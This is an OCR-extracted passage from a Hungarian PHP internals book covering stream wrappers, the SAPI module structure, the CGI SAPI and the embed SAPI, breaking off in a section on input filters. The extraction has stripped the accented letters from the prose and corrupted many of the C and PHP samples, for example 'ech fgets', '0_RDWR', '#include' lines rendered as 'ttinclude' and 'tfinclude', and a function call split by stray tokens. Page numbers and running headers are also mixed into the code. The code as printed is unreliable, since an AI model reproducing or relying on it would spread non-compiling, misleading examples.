<?php $mm = fopen("mmap:///dev/zero:65536") ; fwrite($mm, "Hello World\n"); rewind($mm) ; ech fgets($mm); ?>

Mindennek megvalstsa felletnkre ptve meglepen egyszer. Elszr is ltre kell hoznunk egy php_stream_wrapper_ops szerkezetet. Ez meghatrozza a megnyitsi, bezrsi, folyamstatisztikai, URL-statisztikai, knyvtrmegnyitsi s sztcsatolsi mveleteket. A php_stream_ops korbban bemutatott mveletei mind megnyitott folyamokra hatnak, mg az itt lertak nyers URL-ekre, illetve fjlokra, amelyek nem felttlenl kell, hogy nyitva legyenek. me egy kismret burkol az fopen () hasznlatnak lehetv ttelre: php_stream_wrapper_ops mmap_wops = { mmap_open,
NULL, NULL, NULL, NULL, "mmap wrapper" };

A burkol mveleteinek meghatrozsa utn el kell ksztennk magt a burkolt is. Ezt a php_stream_wrapper szerkezettel tehetjk meg: php_stream_wrapper mmap_wrapper = { &mmap_wops, /* a burkol ltal vgezhet mveletek */ NULL, /* a burkol elvont krnyezete */ 0 /* hlzati URL? (a z fopen_url_allow szmra) */
};

624

PHP fejleszts felsfokon

Ezutn meg kell hatroznunk az mmap_open () fggvnyt. Ez nem egyezik meg a PHP_FUNCTION (mmap_open) -nel - egy olyan fggvnyrl van sz, ami megfelel a php_stream_wrapper_ops ltal ignyelt felletnek. Fggvnynk az albbi paramtereket fogadja:

Az mmap_open () fggvnynek egy php_stream mutatt kell visszaadnia. Az mmap_open () meglehetsen hasonlt a PHP_FUNCTION (mmap_open) -hez, ennek ellenre igen lnyeges klnbsgek vannak kztk: A fiiename a teljes URI-t tartalmazza, gy el kell tvoltanunk a cm elejn ll mmap: / / karakterlncot. A mretet az mmap: / / Ipa th:si ze alakbl szeretnnk kiolvasni. Ha ezt nem kapjuk meg, a stat () -ot kell alkalmaznunk a fjlon a mret meghatrozsra.

Lssuk az mmap_open () teljes kdjt: php_stream *mmap_open(php_stream_wrapper *wrapper, char *filename, char *mode, int options, char **opened_path, php_stream_context *context STREAMS_DC

TSRMLS_DC)
{

php_stream *stream; struct mmap_stream_data *data; char *tmp; int file_length = 0 ; struct stat sb; int fd; void *mpos; filename += sizeof("mmap://") - 1; if(tmp = strchr(filename, ' : ' ) ) {

22. fejezet A PHP bvtse: II, rsz

625

/* null rtkkel lezrja a karakterlncot a ':' beolvassnl - innentl kvetkezik a hossz */ tmp++; *tmp = '\0'; if(tmp) { file_length = atoi(tmp); } } if((fd = open(filename, 0_RDWR)) < -1) { return NULL; } if(!file_length) { if(fstat(fd, &sb) == -1) { close(fd); return NULL; } file_length = sb.st_size; } if((mpos = mmap(NULL, file_length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0)) == (void *) -1) { return NULL; }

data = emalloc(sizeof(struct mmap_stream_data)); data->base_pos = mpos; data->current_pos = mpos; data->len = file_length; close(fd); stream = php_stream_alloc(&mmap_ops, data, NULL, if(opened_path) { *opened_path = estrdup(filename);
}

"m od e");

return stream;
}

Nem maradt ms htra, mint bejegyezni ezt a fggvnyt a motorban - helyezznk el ht egy bejegyz horgot az MINIT fggvnyben:
PHP_MINIT_FUNCTION(mmap_session) { php_register_url_stream_wrapper("mmap", &mmap_wrapper TSRMLS_CC); }

626

PHP fejleszts felsfokon

Els paramternk, az mmap" utastja a folyamkezel alrendszert, hogy a burkolhoz irnytson minden olyan URL-t, amely az mmap protokoll al tartozik. Szksg van mg egy kijelentkezsi fggvny bejegyzsre is az MSHUTDOWN-ban: PHP_MSHUTDOWN_FUNCTION(mmap_session)
{

php_unregister_url_stream_wrapper("mmap" TSRMLS_CC);
}

Fejezetnkben mindssze rvid betekintst adhattunk a folyamkezel API hasznlatba. rdemes megemltennk a folyamszrk rsnak lehetsgt is, melyekkel a felhasznl szmra rejtett mdon megvltoztathatjuk a folyambl olvasott, illetve a folyamba rt adatokat. A PHP 5-ben tbb gyri folyamszrt is tallhatunk, melyek a kvetkez mveleteket vgzik: Tartalomtmrts HTTP 1.1 darabolt kdols, illetve visszafejts Folyamkdols az mcrypt segtsgvel reshelyek kezelse

A folyamkezel API szmos igen hasznos lehetsget biztost azltal, hogy segtsgvel a httrben trhatjuk a PHP sszes bels bemeneti-kimeneti fggvnyt. A fejleszti trsadalom mg csak most ismerkedik a lehetsgekkel, gy a kvetkez vekben sok kellemes meglepetsben lehet rsznk e tren.

Tovbbi olvasmnyok
Az osztlyok s folyamok kezelsre meglehetsen kevs utalst tallhatunk a hivatalos PHP dokumentciban. A legtbbet taln gy tanulhatunk, ha elmlyednk a forrskdokban. Az objektumkzpont bvtmnyekhez az albbiak nyjthatnak nmi segtsget: A Zend Engine2 Reflection API, melyet a PHP forrsknyvtrban tallhatunk, a Zend/ref lection_api . c fjlban, nagyszer kiindulpont C osztlyok ksztshez. A folyamkezel API lerst megtallhatjuk a PHP elektronikus kziknyvben, a http: //www.php.net/manual/en/streams .php cmen. Mindemellett az API egyik tervezje, Wez Furlong is kzreadott egy nagyszer rtekezst a tmban, melyet a http: //talks .php.net/index.php/Streams cmen tekinthetnk meg.

SAPI-k ksztse s a Zend Engine bvtmnye


A C-beli PHP bvtmnyek ksztse mellett rhatunk olyan C alkalmazsokat is, amelyek PHP kdokat futtatnak. Erre tbb okunk is lehet: Ezzel lehetv tehetjk, hogy a PHP hatkonyan mkdhessen egy j webkiszolgl rendszern. gy kihasznlhatjuk a programnyelv egyszersgt programunkon bell. A PHP igen hatkony sablonhasznlati lehetsgeket biztost, melyeket szmos alkalmazsba gond nlkl beilleszthetnk. J plda erre az a PHP szr SPI, amely PHP felletet biztost sendmail-szrk PHP-beli ksztshez. Knnyebb vlik a bvts. Lehetv tehetjk vgfelhasznlink szmra, hogy a PHP segtsgvel knnyedn testreszabhassk az alkalmazs egyes rszeit.

A SAPI-krl
Az alkalmazsok s a PHP egymsra plsben a SAPI-k jelentik a ktanyagot, ugyanis ezek hatrozzk meg, milyen mdon kzlekedhetnek az adatok az alkalmazs s a PHP kztt. Fejezetnk tovbbi rszben megismerkednk a viszonylag egyszer PHP CGI SAPI-val, valamint a begyazsi SAPI-val, ami lehetv teszi a PHP begyazst olyan alkalmazsokba, amelyek nem rendelkeznek komolyabb klnleges ignyekkel.

A CGI SPI
A CGI SPI nagyszeren bemutatja, miknt plnek fel a SAPI-k ltalban. Nagyszersge ppen egyszersgben rejlik, hiszen nem kell bonyolult kls egyedekkel sszeszerkesztennk, mint a mod_php-t. Viszonylagos egyszersge ellenre lehetv teszi sszetett krnyezeti adatok, gy GET, POST s stiadatok beolvasst. Az ilyen adatok ilyen bevitele a legtbb SPI alapfeladata, gy kezelsk megrtse igen fontos.

628

PHP fejleszts felsfokon

A SPI meghatroz szerkezete a sapi_module_struct nevet viseli - ez adja meg, miknt ktheti ssze a SPI a PHP-t s a krnyezetet, gy ht itt llthatjuk be a krnyezeti s a lekrdezsbeli vltozkat. A sapi_module_struct adatok s fggvnymutatk egyvelege, amelyek pontosan meghatrozzk, miknt hozhatk s vihetk az adatok a PHP s a krnyezete kztt. Lssuk most e szerkezet felptst:

struct _sapi_module_struct { char *name; char *pretty_name;


(*startup)(struct _sapi_module_struct *sapi_module); (*shutdown)(struct _sapi_module_struct *sapi_module); (*activate)(TSRMLS_D); (*deactivate)(TSRMLS_D); (*ub_write)(const char *str, unsigned int str_length TSRMLS_DC); void (*flush)(void *server_context); struct stat *(*get_stat)(TSRMLS_D); char * (*getenv) (char *name, size_t name_len TSRMLS_DC); void (*sapi_error)(int type, const char *error_msg, . ..); int (*header_handler)(sapi_header_struct *sapi_header, sapi_headers_struct *sapi_headers TSRMLS_DC) ; int (*send_headers)(sapi_headers_struct *sapi_headers TSRMLS_DC); void (*send_header)(sapi_header_struct *sapi_header, void *server_context TSRMLS_DC); int (*read_post)(char *buffer, uint count_bytes TSRMLS_DC); char *(*read_cookies)(TSRMLS_D); void (*register_server_variables)(zval *track_vars_array TSRMLS_DC); void (*log_message)(char *message); char *php_ini_path_override; void (*block_interruptions)(void); void (*unblock_interruptions)(void); void (*default_post_reader)(TSRMLS_D); void (*treat_data) (int arg, char *str, zval *destArray TSRMLS_DC) ; char *executable_location; int php_ini_ignore; int (*get_fd)(int *fd TSRMLS_DC); int (*force_http_10)(TSRMLS_D); int (*get_target_uid)(uid_t * TSRMLS_DC); int (*get_target_gid)(gid_t * TSRMLS_DC); unsigned int (*input_filter)(int arg, char *var, char **val, unsigned int val_len TSRMLS_DC); void (*ini_defaults)(HashTable *configuration_hash); int phpinfo_as_text; }; int int int int int

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

629

me a CGI SPI modulszerkezete: static sapi_module_struct cgi_sapi_module = { "cgi", /* nv */ "CGI", /* formzott nv */ php_cgi_startup, /* indts */ php_module_shutdown_wrapper, /* lellts */ NULL, /* bekapcsols */ sapi_cgi_deactivate, /* kikapcsols */ sapi_cgibin_ub_write, /* trols nlkli rs */ sapi_cgibin_flush, /* kirts */ NULL, /* uid lekrse */ sapi_cgibin_getenv, /* getenv */ php_error, /* hibakezel */ NULL, /* fejlckezel */ sapi_cgi_send_headers, /* fejlckezel kldse */ NULL, /* fejlckezel kldse */ sapi_cgi_read__post, /* POST adatok olvassa */ sapi_cgi_read_cookies, /* stik olvassa */ sapi_cgi_register_variables, /* kiszolgli vltozk bejegyzse */ sapi_cgi_log_message, /* naplzenet */ STANDARD_SAPI_MODULE_PROPERTIES
};

Figyeljk meg, hogy a szerkezet utols 14 mezje kimaradt, helyettk a STANDARD_SAPI_PROPERTIES makr ll. Ez, a SAPI-k ri ltal oly elszeretettel alkalmazott mdszer azt hasznlja ki, hogy a C-ben a kihagyott vltozk automatikusan NULL rtket kapnak. A szerkezet els kt mezje a SPI nevt adja meg - ezeket kapjuk vissza, ha egy programban a phpinf o () vagy a php_sapi_name () fggvnyeket hvjuk meg. A harmadik mez, a sapi_module_struct. startup, egy fggvnymutat - az gy megadott fggvnyt hvja meg minden, a PHP SAPI-t megvalst alkalmazs indulsakor. E fggvny egyik fontos feladata a betlts tovbbi rsznek elvgzse a php_module_startup () hvsval, tadva szmra a modul adatait. A CGI modulban csak ez az indtsi folyamat fut le: static int php_cgi_startup(sapi_module_struct *sapi_module) { if (php_module_startup(sapi_module, NULL, 0) == FAILURE) return FAILURE;
}

return SUCCESS;
}

630

PHP fejleszts felsfokon

A negyedik mez, a sapi_module_struct. shutdown, amely a SPI kikapcsolsakor meghvott fggvnyt adja meg (vgrehajtsa tbbnyire az alkalmazs kikapcsolsakor trtnik meg). A CGI SPI (a PHP-vel kapott SAPI-k zmhez hasonlan) kikapcsolsi fggvnyknt a php_module_shutdown_wrapper-t hvja meg, ami viszont egyszeren a php_module_shutdown hvshoz vezet: int php_module_shutdown_wrapper(sapi_module_struct *sapi_globals)
{

TSRMLS_FETCH(); php_module_shutdown(TSRMLS_C); return SUCCESS; } Amint a 20. fejezetben is olvashattuk, a SPI minden krelem indtsakor s lezrsakor hvsokat intz a futsidej krnyezet megtiszttsra, illetve az erforrsok esetleges visszalltsra. Az itt alkalmazott fggvnyek mutati adjk a sapi_module_struct tdik s hatodik mezjt. A CGI SPI nem hatrozza meg a sapi_module_struct. activate fggvnyt, vagyis nem ad meg alaprtelmezett kdot, a sapi_module_struct. deactivate-et azonban bejegyzi. Itt a CGI SPI kirja kimeneti fjlfolyamait, biztostva ezzel, hogy a felhasznlk hozzjutnak az adatokhoz, mieltt a SPI bezrn a csatol fel es oldalt. Az albbiakban bemutatjuk a kikapcsol kdot, valamint a kirt segdfggvnyt: static void sapi_cgibin_flush(void *server_context)
{

if
} }

(fflush(stdout)==EOF) { php_handle_aborted_connection();

static int sapi_cgi_deactivate(TSRMLS_D) {cdx sapi_cgibin_flush(SG(server_context)); return SUCCESS;


}

Figyeljk meg, hogy kifejezetten az stdout-ot rtettk ki - ennek az az oka, hogy a CGI SPI kdolsa szerint kizrlag ide kldi a kimenetet. Az Apache mod_php modulja ennl jval sszetettebb activate s deactivate fggvnyeket bocst rendelkezsnkre. Az elbbi memriatakart fggvnyeket jegyez be arra az esetre, ha az Apache id eltt kikapcsolna (pldul ha az gyfl a Stop gombra kattint bngszjben, vagy a program tllpi az Apache idkorltjt). A hetedik mez, a sapi_module_struct .ub_write akkor lp mkdsbe, ha a PHPnek kimenettrols nlkl kell adatokat tadnia a felhasznl szmra. Ez az a fggvny,

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

631

amely elkldi az adatokat, ha PHP programunkban a print vagy az ech utastsokat alkalmazzuk. Amint korbban emltettk, a CGI SPI kzvetlenl az stdout-ra r. Lssunk most egy egyszer megoldst, amely 16 KB-os adatcsomagokat ad t:

static inline size_t sapi_cgibin_single_write(const char *str, uint str_length TSRMLS_DC)


{

size__t ret; ret = fwrite(str, return ret;


}

1, MIN(str_length,

1 6 38 4 ),

stdout);

static int sapi_cgibin_ub_write(const char *str, uint str_length TSRMLS_DC) { const char *ptr = str; uint remaining = str_length; size_t ret;

while (remaining > 0) { ret = sapi_cgibin_single_write(ptr, remaining TSRMLS_CC); if ( ! r et ) { php_handle_aborted_connection(); return str_length - remaining;
}

ptr += ret; remaining -= ret;


}

return str_length;
}

Itt az egyes karaktereket kln-kln rtuk ki, ami nem tl hatkony mdszer, de knynyen alkalmazhat rendszerek szles skljn. Persze ahol a rendszer tmogatja a POSIX bemeneti-kimeneti lehetsgeket, fggvnynket az albbi alakra zsugorthatjuk:

static int sapi_cgibin_ub_write(const char *str, uint str_length TSRMLS_DC)


{

size_t ret; ret = write(fileno(stdout), str, str_length); return (ret >= 0)?ret:0; } A nyolcadik mez a sapi_module_struct. f lush, ami lehetsget ad a folyamtrolk kirtsre (ez trtnik pldul, ha PHP programunkban a f lush () fggvnyt hvjuk). A CGI SPI itt a sapi_cgibin_f lush fggvnyt alkalmazza, melyet mr lthattunk a deactivate szerkezetnek vizsglatnl.

632

PHP fejleszts felsfokon

A kilencedik mez a sapi_module_struct. get_stat, mellyel az alaprtelmezett stat () fggvnyt rhatjuk fell, annak biztostsra, hogy a program futhasson biztonsgos mdban is. A CGI nem valstja meg ezt a horgot. A tizedik mez a sapi_module_struct. getenv, amely felletet ad a krnyezeti vltozk nv szerinti keresshez. Mivel a CGI SPI egy hagyomnyos hjprogramhoz hasonlan viselkedik, a sapi_cgibin_getenv () fggvnye egy egyszer tjr a getenv () C fggvnyhez: static char *sapi_cgibin_getenv(char *name, size_t name_len TSRMLS_DC)
{

return getenv(name);
}

Bonyolultabb alkalmazsokban, mint a mod_php, a SAPI-nak az alkalmazs bels krnyezeti szolgltatsai felett kell a sapi_module_struct. getenv fggvnyt megvalstania. A tizenegyedik mez a sapi_module_struct. sapi_error visszahvs. Ez hatrozza meg, milyen fggvny lpjen mkdsbe, ha felhasznli hiba kvetkezik be vagy a rendszer bels hvst intz a zend_error () -hoz. A legtbb SPI esetben itt a PHP beptett hibakezeljt, a php_error-t lltjk be. A tizenkettedik mez a sapi_module_struct. header_handler, melyet a rendszer akkor hv meg, ha a header () hvssal tallkozik a kdban, illetve ha a PHP sajt bels fejlceit lltja be. A CGI SPI nem hatroz meg sajt header_handler-t, ami azt jelenti, hogy a szabvnyos SPI viselkeds rvnyesl, vagyis a fejlcek egy bels listra kerlnek, melyet a PHP kezel. Ezt a visszahvst leginkbb webkiszolgl SAPI-k hasznljk (mint a mod_php), melyek maguk szeretnk kezelni a fejlceket, elszakadva a PHP alaprtelmezett mkdstl. A tizenharmadik mez a sapi_module_struct. send_headers, melyet a rendszer akkor hv meg, ha elrkezett az id a PHP-ben belltott fejlcek kldsre (azaz kzvetlenl az els tartalomadatok kldse eltt). Itt lehetsgnk van arra, hogy minden fejlcet elkldjnk (ilyenkor a visszatrsi rtk SAPI_HEADER_SENT_SUCCESSFULLY), de tadhatjuk az egyes fejlcek kldsnek feladatt a tizennegyedik, sapi_module_struct. send_header meznek is (ilyenkor a visszatrsi rtk SAPl_HEADER_DO_SEND kell legyen). A CGI SPI az elbbi mdszert vlasztja, vagyis minden fejlct kirja a send_headers fggvnyben: static int sapi_cgi_send_headers(sapi_headers_struct *sapi_headers TSRMLS_DC)
{

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

633

char buf[SAPI_CGI_MAX_HEADER_LENGTH]; sapi_header_struct *h; zend_llist_position pos; long rfc2 616_headers = 0; if(SG(request_info).no_headers == 1) { return SAPI_HEADER_SENT_SUCCESSFULLY; } if (SG(sapi_headers).http_response_code != 200) { int len; len = sprintf(buf, "Status: %d\r\n", SG(sapi_headers).http_response_code); PHPWRITE_H(buf, len); } if (SG(sapi_headers).send_default_content_type) { char *hd; hd = sapi_get_default_content_type(TSRMLS_C); PHPWRITE_H("Content-type: ", sizeof("Content-type: ")-l); PHPWRITE_H(hd, strlen(hd)); PHPWRITE_H("\r\n", 2) ; efree(hd); } h = zend_llist_get_first_ex(&sapi_headers->headers, &pos); while (h) { PHPWRITE_H(h->header, h->header_len); PHPWRITE_H("\r\n", 2); h = zend_llist_get_next_ex(&sapi_headers->headers, &pos); } PHPWRITE_H("\r\n", 2) ;
return SAPI_HEADER_SENT_SUCCESSFULLY; }

A PHPWRITE_H egy makrburkol a kimenet (esetleg bekapcsolt) trolsnak kezelsre. A tizentdik mez a sapi_module_struct. readrpost, amely meghatrozza, miknt olvassuk a POST adatokat. A fggvny egy trolt vr a mretvel egyetemben - ezt feltlti adatokkal, majd visszaadja ezek vgeredmnyben kapott hosszt. me a CGI SAPIban szerepl megvalsts, amely egyszeren annyi adatot olvas az stdin-rl (ehhez a 0 fjller tartozik), amennyit a trol elbr: static int sapi_cgi_read_post(char *buffer, uint count_bytes TSRMLS_DC)
{

uint read_bytes=0, tmp_read_bytes; count_bytes = MIN(count_bytes, (uint)SG(request_info).content_length-SG(read__post_bytes));

634

PHP fejleszts felsfokon

while (read_bytes < count_bytes) { tmp_read_bytes = read(0, buffer+read_bytes, count_bytes-read_bytes); if (tmp_read_bytes<=0) { break; } read_bytes += tmp_read_bytes;
}

return read_bytes;
}

Figyeljk meg, hogy itt nem folyik semmifle feldolgozs: a read_post kizrlag nyers POST adatok beolvassra kpes. Amennyiben bele kvnunk szlni a feldolgozs mdjba, ezt a sapi_module_struct .default_post_reader meghatrozsval tehetjk meg, amelyrl fejezetnk SPI bemeneti szrk cmszavnl szlunk bvebben. A tizenhatodik mez a sapi_module_struct. read_cookies, melynek mkdse megegyezik a read_post-val, de ez a stik adataival dolgozik. A CGI rendszerben a stik adatai egy krnyezeti vltozba kerlnek, gy kiolvassukhoz a fggvny egyszeren a getenv visszahvst alkalmazza: static char *sapi_cgi_read_cookies(TSRMLS_D)
{

return sapi_cgibin_getenv((char *)"HTTP_COOKIE",0 TSRMLS_CC);


}

Az adatok szrsrl ismt csak a SPI bemeneti szrk cmsznl olvashatunk. A kvetkez mez a sapi_module_struct. register_server_variables. Paramterknt azokat az adatokat kell megadnunk szmra, melyekbl a $_SERVER autogloblis tmb vlik majd, esetleg kiegsztve a SPI sajt elemeivel. Lssuk, mit tallunk e visszahvs megvalstsnak legfels szintjn a CGI SAPI-ban: static void sap_cgi_register_variables(zval *track_vars_array TSRMLS_DC)
{

php_import_environment_variables(track_vars_array TSRMLS_CC); php_register_variable("PHP_SELF", (SG (request__info).request_uri ? SG(reguest_info).request_uri:""), track_vars_array TSRMLS_CC);


}

Ez meghvja a php_import_environment_variables () fggvnyt, amely vgighalad a hj krnyezeti vltozin, s bejegyzseket kszt szmukra a $_SERVER tmbben. Ezt kveten a $_SERVER [ ' PHP_SELF ' ] -et lltja be a krt programknt.

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

635

A CGI modul utols megvalstott eleme a sapi_module_struct. log_message, amely egyfajta alaprtelmezett fggvny, ha ms hibanaplz lehetsget nem lltottunk be. Amennyiben a php. ini fjlban nem adtuk meg az error_log belltst, a rendszer ezt a fggvnyt hvja meg mindenfle hibazenet kiratsra. A CGI modul egyszeren az stderr-re r: static void sapi_cgi_log_message(char *message)
{

fprintf(stderr,
}

" %s \n " , message);

Vgre rtnk ht a sapi_module_struct szabvnyos elemeinek. A szrkrl def ault_post_reader, treat_data s input_f ilter - a SPI bemeneti szrk cmsznl szlunk bvebben, a tovbbiak pedig olyan klnleges rendeltets elemek, melyeket itt nem trgyalunk.

A CGI SPI alkalmazs


A CGI SAPI-t egy alkalmazsba kell helyeznnk ahhoz, hogy futtathassuk. Az erre szolgl CGI main () eljrs meglehetsen hossz s rengeteg belltsi lehetsget biztost (trgyalsa egy teljes fejezetet megtlten) - ezrt ht egy igencsak lecsupasztott vltozatval foglalkozunk, melyet megfosztottunk minden belltsi lehetsgtl. Lssuk ht a main () egyszerstett alakjt: int main(int argc, char **argv)
{

int exit_status = SUCCESS; zend_file_handle file_handle; int retval = FAILURE; signal(SIGPIPE, /* a lekapcsold gyfelekkel nem foglalkozunk */ sapi_startup(&cgi_sapi_module); cgi_sapi_module.executable_location = argv[0]; if
}

SIG_IGN);

(php_module_startup(&cgi_sapi_module, NULL, return FAILURE;

0)

== FAILURE)

zend_first_try { SG(server_context) = (void *) 1; /* kerljk el a server_context==NULL vizsglatokat */ init_request_info(TSRMLS_C); file_handle.type = ZEND_HANDLE_FILENAME; file_handle.filename = SG(request_info).path_translated; file_handle.handl.fp = NULL;

636

PHP fejleszts felsfokon

file_handle.opened_path = NULL; file_handle.free_filename = 0;

if

(php_request_startup(TSRMLS_C)==FAILURE) php_module_shutdown(TSRMLS_C); return FAILURE;

} retval = php_fopen_primary_script( & f ile_handle TSRMLS_CC); if (retval == FAILURE && file_handle.handl.fp == NULL) { SG(sapi_headers).http_response_code = 4 0 4; PUTSC'No input fil specif ied. \n") ; php_request_shutdown((void *) 0 ) ; php_module_shutdown(TSRMLS_C); return FAILURE;
}

php_execute_script(&file_handle TSRMLS_CC); if (SG(request_info).path_translated) { char *path_translated; path_translated = strdup(SG(request_info).path_translated); efree(SG(request_info).path_translated); SG(request_info).path_translated = path_translated;
}

php_request_shutdown((void *) 0 ) ; if (exit_status == 0) { exit_status = EG(exit_status) ;


}

if (SG(request_info).path_translated) { free(SG(request_info).path_translated); SG(request_info).path_translated = NULL;


}

} zend_catch { exit_status = 2 55; } zend_end_try(); php_module_shutdown(TSRMLS_C); sapi_shutdown(); return exit_status;


}

Az albbiakban bemutatjuk az init_request_inf o () segdfggvny szerkezett, amely a CGI alaprtelmezsei szerint feltlti a SPI globlis vltozit a programllomnyok helyeivel s a lekrdezsi karakterlncok paramtereivel, a krnyezeti vltozk alapjn. static void init_request_info(TSRMLS_D)
{

char *env_script_filename = sapi_cgibin_getenv("SCRIPT_FILENAME", 0 TSRMLS_CC); char *env_path_translated = sapi_cgibin_getenv("PATHJTRANSLATED", 0 TSRMLS_CC);

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

637

char *script_path_translated = env_script_filename; /* alaprtelmezsek feltltse */ SG(request_info).path_translated = NULL; SG(request_info).request_method = NULL; SG(request_info).query_string = NULL; SG(request_info).request_uri = NULL; SG(request_info).content_type = NULL; SG(request_info).content_length = 0; SG(sapi_headers).http_response_code = 2 0 0 ; /* A script_path_translated belltsa jl jelzi, hogy CGI krnyezetben dolgozunk, hiszen rtke minden ms esetben null. Egybknt a program fjlnevt a rendszer az argc/argv-n keresztl ri el */ if (script_path_translated) { const char *auth; char *content_length = sapi_cgibin_getenv("CONTENT_LENGTH", 0 TSRMLS_CC); char *content_type = sapi_cgibin_getenv("CONTENT_TYPE", 0 TSRMLS_CC); SG(request_info).request_method = sapi_cgibin_getenv("REQUEST_METHOD",0 TSRMLS_CC); SG(request_info).query_string = sapi_cgibin_getenv("QUERY_STRING",0 TSRMLS_CC); if (script_path_translated && !strstr(script_path_translated, "..")) { SG(request_info).path_translated = estrdup(script_path_translated);
}

SG(request_info) .content_type = (content_type ? content_type : "" ) ; SG(request_info).content_length = (content_length?atoi(content_length):0); /* A CGI RFC megengedi, hogy a kiszolglk nem rvnyestett Authorization adatokat is tovbbkldjenek */ auth = sapi_cgibin_getenv("HTTP_AUTHORIZATION" , 0 TSRMLS_CC); php_handle_auth_data(auth TSRMLS_CC);
} }

Lssuk most rszletesebben, mit is vgez ez a program: 1. A sapi_startup (&cgi_sapi_module) elkszti az alaprtelmezett SPI szerkezeteket. 2. A php_module_startup (&cgi_sapi_module, NULL, 0) betlti, elkszti s bejegyzi a SAPI-t.

638

PHP fejleszts felsfokon

3. Az init_request_inf o () belltja a szksges SPI globlis vltozk request_inf o rtkeit a krnyezet alapjn. gy rtesl a CGI SPI arrl, milyen fjlt szeretnnk vgrehajtani, s milyen paramtereket adtunk t neki. A megvalsts minden SPI esetn ms - a mod_php ezeket az adatokat az Apache request_rec adatszerkezetbl olvassa ki. 4. A fggvny feltlti a zend_file_handle rtkt a vgrehajtand programmal. 5. Elindul php_request_startup (), ami a munka dandrjt vgzi: elkszti a krelem szmra a kimenettrol rendszert, elkszt minden autogloblis vltozt, meghvja minden bejegyzett bvtmny RINIT horgt, tovbb meghvja a SPI activate visszahvhat fggvnyt. 6. A php_f open_primary_script ( & f ile_handle TSRMLS_CC) megnyitja, majd a php_execute_scri.pt ( & f ile_handle TSRMLS_CC) vgrehajtja a programot. Technikailag nem felttlenl szksges megnyitnunk a parancsfjlt, de ez nagyszer mdot ad annak ellenrzsre, hogy valban ltezik-e. Ha a php_execute_script () visszatr, a program befejezdtt. 7. A php_request_shutdown ( (void * ) 0) lezrja a krelmet - meghvja a modulok RSHUTDOWN horgait, a SAPI-ban bejegyzett deactivate fggvnyt, befejezi a kimenet trolst, s minden adatot tkld az gyflnek. 8. A php_module_shutdown vglegesen lezrja a SAPI-t, mivel a CGI SPI egy hasznlat alatt csak egy krelmet kpes kiszolglni. 9. A sapi_shutdown () elvgzi a SPI krnyezet mg htramaradt takart mveleteit. Ez teht a teljes folyamat, melyben a PHP rtelmezt egy SPI segtsgvel az alkalmazsba gyazhatjuk.

A begyazsi SPI
A CGI SPI mretesnek tnhet, de mkdsnek nagy rsze a hv krnyezetben tallhat adatok automatikus bevitelbl ll. A PHP nagy figyelmet fordt arra, hogy elrejtse a krnyezeti adatok elrsnek rszleteit - s az igyekezetek nagy rsze a SAPI-ban testesl meg. Ha nincs szksgnk a teljes PHP begyazsra, mindssze nmi PHP kdot szeretnnk futtatni az alkalmazs rszeknt, a begyazsi SPI nagyszer segtsget nyjthat, hiszen a PHP-t osztott knyvtrknt teszi elrhetv, melyet programunkba szerkeszthetnk, s kdokat futtathatunk vele. A begyazsi knyvtr felptshez a PHP-t az albbi belltsokkal kell lefordtanunk: --enable-embed Ezzel megszletik a lbphpS . so knyvtrfjl.

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

639

A begyazsi SPI kt makrt knl a felhasznlknak: PHP_EMBED_START_BLOCK(int argc, PHP_EMBED_END_BLOCK() char **argv)

E makrk kztt egy mkd PHP krnyezetet tallunk, melyben futtathatjuk programjainkat, valahogy gy: php_execute_script(zend_file_handle *primary_file TSRMLS_DC); Vagy gy: zend_eval_string(char *str, zval *retval_ptr, char *string_name TSRMLS_DC); A dolog egyszersgnek szemlltetsre lljon itt egy PHP hj, ami brmit vgrehajt, amit tadunk neki: ttinclude tfinclude #include #include <php_embed.h> <stdio.h> <readline/readline.h> <readline/history.h>

int main(int argc, char **argv) { char *code; PHP_EMBED_START_BLOCK(argc,argv); while((code = readline("> ")) != NULL) { zend_eval_string(code, NULL, argv[0] TSRMLS_CC); } PHP_EMBED_END_BLOCK(); return 0; } Ezutn vgezzk el a fordtst az albbiak szerint: > gcc -pipe -g -02 -I/usr/local/include/php -I/usr/local/include/php/Zend \ -I/usr/local/include/php/TSRM -I/usr/local/include/php/main -c psh.c > gcc -pipe -g -02 -L/usr/local/lib -lreadline -lncurses -lphp5 psh.o -o psh

Figyeljk meg, hogy a SPI a $argc s $argv autogloblisokat a PHP_EMBED_START_BLOCK () makrnak tadott paramterek alapjn lltja be.

640

PHP fejleszts felsfokon

Nzzk a kvetkez psh munkamenetet:


> ./psh foo bar > print_r($argv); Array ( [0] => ./psh [1] => foo [2] => bar ) > $a = 1; > print "$a\n"; 1 >

Ez a kis plda persze nem egyb jtknl, de jl mutatja, miknt frhetnk hozz a PHP lehetsgeihez mindssze 15 sornyi C kd rn. A ksbbiekben ennl komolyabb feladatra is hasznljuk majd a begyazsi SAPI-t: megvalstjuk a 20. fejezetben mr bemutatott opkd-kiratt.

SPI bemeneti szrk


A 13. fejezetben olvashattunk a helykzi tmadsokrl s a rosszindulat SQL kdok hasznlatrl, mely mdszerek megjelenskben klnbznek ugyan, cljuk azonban azonos: rvenni a webkiszolglt (illetve a helykzi tmadsok esetn egy harmadik felhasznlt) arra, hogy az alkalmazs terletn valamilyen rosszindulat kdot futtasson. Az ilyesfajta tmadsok elleni vdekezs egyszer: mindig meg kell gyzdnnk a felhasznli bemenet rvnyessgrl, s el kell tvoltanunk a nemkvnt adatokat. A tisztogats felelssge a fejleszt, de kt okbl sem rdemes magra hagynunk: A fejlesztk is kvethetnek el hibkat. A helykzi tmads komoly veszlyt jelent, s hiba lenne megbznunk mindazok vatossgban, akik mdostjk PHP kdunkat. A krelmenknti tisztogats a PHP-ben meglehetsen lassv is vlhat. Annak rdekben, hogy nmi beleszlst kapjunk ebbe a folyamatba, a SPI hrom visszahvhat fggvnyt is rendelkezsnkre bocst, melyekkel krelmenknt elvgezhetjk a tisztogatst. E fggvnyek a kvetkezk: input_f ilter, treat_data s def ault_post_reader. Mivel ezek a SPI szintjn bejegyzettek, lthatatlanok a fejlesztk szmra, futtatsuk pedig automatikus, ami lehetetlenn teszi, hogy elfeledkezznk alkalmazsukrl valamely oldal esetn. Radsul, mivel megvalstsuk C nyelv, vgrehajtsuk pedig mg azeltt trtnik, mieltt az adatok autogloblis tmbbe kerlnnek, 